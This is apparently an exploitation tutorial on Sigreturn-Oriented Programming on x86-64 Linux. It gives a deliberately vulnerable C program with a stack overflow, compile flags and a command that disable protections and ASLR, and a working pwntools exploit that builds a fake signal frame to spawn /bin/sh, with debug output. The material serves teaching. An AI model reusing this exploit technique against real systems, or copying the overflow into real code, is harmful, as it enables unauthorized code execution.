On Linux, when a process sends a POSIX signal, execution is suspended and context information related to the current process is pushed to the stack. This context information includes the state of the CPU registers. Execution then jumps to the signal handler routine. Common signals include SIGKILL and SIGTERM for terminating processes.
When the signal handler is finished, sigreturn() is called to restore the context information. The man page for sigreturn has a pretty good description for how this operates.
If the Linux kernel determines that an unblocked signal is pending for a process, then, at the next
transition back to user mode in that process (e.g., upon return from a system call or when the process
is rescheduled onto the CPU), it creates a new frame on the user-space stack where it saves various
pieces of process context (processor status word, registers, signal mask, and signal stack settings).
The kernel also arranges that, during the transition back to user mode, the signal handler is called,
and that, upon return from the handler, control passes to a piece of user-space code commonly called
the "signal trampoline". The signal trampoline code in turn calls sigreturn().
This sigreturn() call undoes everything that was done—changing the process's signal mask, switching
signal stacks (see sigaltstack(2))—in order to invoke the signal handler. Using the information that
was earlier saved on the user-space stack sigreturn() restores the process's signal mask, switches
stacks, and restores the process's context (processor flags and registers, including the stack pointer
and instruction pointer), so that the process resumes execution at the point where it was interrupted
by the signal.
To exploit this condition, we can push a fake sigcontext data structure to the stack, then call sigreturn(). This will allow us to populate all registers with our desired values at the same time. This is a form of return orientated programming (ROP).
We can see what the sigcontext data structure looks like by examining sigcontext.h in the Linux kernel source code.
sudo apt install linux-source
vi /usr/include/x86_64-linux-gnu/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
#endif /* __x86_64__ */
Vulnerable Code
The following application if vulnerable to a simple stack based overflow since it reads in 500 bytes to a 32 byte buffer using the fgets() function.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void check_password() {
char password[32];
puts("Password:");
fgets(password, 500, stdin);
if(strcmp(password, "bordergate\n") == 0) {
puts("pass\n");
}
else {
puts("fail\n");
}
}
int main(int argc, char **argv) {
char shell[] = "/bin/sh";
check_password();
return 0;
}
Compile with.
gcc -no-pie -fno-stack-protector srop_vuln.c -o srop_vuln -std=c99
For this example, we will also temporarily disable ASLR.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
We need to populate RAX with number 15 (the syscall number for sigreturn), then call the syscall instruction. We can then use pwntools to create a Sigreturnframe structure, populating that with whatever registers we like. In this instance, an execve system call.
from pwn import *
context.binary = './srop_vuln'
context.arch = 'amd64'
context.log_level = 'DEBUG'
elf = context.binary
p = gdb.debug(elf.path, gdbscript='''
''')
# GLIBC gadgets
syscall_ret = 0x7FFFF7FDB075
poprax_ret = 0x7FFFF7FD9EFC
binsh = next(elf.search(b'/bin/sh')) # reuse string from .data section
frame = SigreturnFrame()
frame.rax = 59 # syscall number for execve
frame.rdi = binsh # pointer to "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret # syscall ; ret to trigger execve
payload = b'A' * 40
payload += p64(poprax_ret)
payload += p64(15) # syscall number for sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendafter(b'Password:\n', payload)
p.interactive()
Running the exploit, we can see /bin/sh spawns successfully.
python3 srop_exploit.py
[*] '/home/kali/srop_vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[x] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-random[.] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-random[+] ion', b'--no-startup-with-shell', b'localhost:0', b'/home/kali/srop_vuln'] : pid 161695
[DEBUG] Received 0x51 bytes:
b'Process /home/kali/srop_vuln created; pid = 161698\n'
b'Listening on port 43637\n'
[DEBUG] Wrote gdb script to '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb'
target remote 127.0.0.1:43637
break main
run
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/kali/srop_vuln', '-x', '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', '/home/kali/srop_vuln', '-x', '/tmp/pwnlib-gdbscript-xs8yvpvq.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp6ipzklh2']
[DEBUG] Received 0x38 bytes:
b'Remote debugging from host ::ffff:127.0.0.1, port 52698\n'
[DEBUG] Received 0xa bytes:
b'Password:\n'
[DEBUG] Sent 0x138 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 fc 9e fd f7 ff 7f 00 00 │AAAA│AAAA│····│····│
00000030 0f 00 00 00 00 00 00 00 75 b0 fd f7 ff 7f 00 00 │····│····│u···│····│
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000000a0 00 00 00 00 00 00 00 00 c3 11 40 00 00 00 00 00 │····│····│··@·│····│
000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000000d0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │;···│····│····│····│
000000e0 00 00 00 00 00 00 00 00 75 b0 fd f7 ff 7f 00 00 │····│····│u···│····│
000000f0 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 │····│····│3···│····│
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000130 00 00 00 00 00 00 00 00 │····│····│
00000138
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x6 bytes:
b'fail\n'
b'\n'
fail
$ whoami
[DEBUG] Sent 0x7 bytes:
b'whoami\n'
[DEBUG] Received 0x1e bytes:
b'Detaching from process 161790\n'
Detaching from process 161790
[DEBUG] Received 0x5 bytes:
b'kali\n'
kali
$
In Conclusion
Sigreturn ROP allows you to easily set the value of multiple registers, which can be particular useful on ARM64 systems. However, you will need a buffer space of at least 300 bytes to get a fake context structure in memory.